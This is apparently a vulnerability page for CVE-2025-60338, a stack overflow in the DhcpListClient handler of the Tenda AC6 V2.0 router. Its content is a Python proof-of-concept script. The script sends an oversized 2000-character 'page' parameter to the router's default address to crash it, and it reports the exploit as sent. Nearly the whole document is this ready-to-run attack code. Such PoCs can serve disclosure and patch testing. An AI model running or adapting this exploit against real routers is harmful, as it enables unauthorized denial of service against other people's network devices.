CVE-2025-60338 Tenda AC6 V2.0 DhcpListClient栈溢出漏洞

import requests # CVE-2025-60338 PoC - Tenda AC6 V2.0 DhcpListClient Stack Overflow # Target: Tenda AC6 V2.0 Router # Vulnerability: Stack overflow in page parameter of DhcpListClient function target_ip = "192.168.0.1" # Default Tenda router IP target_port = 80 # Construct malicious payload with oversized page parameter # The overflow triggers when page parameter exceeds expected buffer size payload = "A" * 2000 # Adjust length based on actual vulnerable buffer url = f"http://{target_ip}:{target_port}/cgi-bin/DhcpListClient" params = { "page": payload # Vulnerable parameter causing stack overflow } try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload length: {len(payload)}") response = requests.get(url, params=params, timeout=5) print(f"[*] Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Exploit sent - Target may be crashed") print(f"[!] Error: {e}")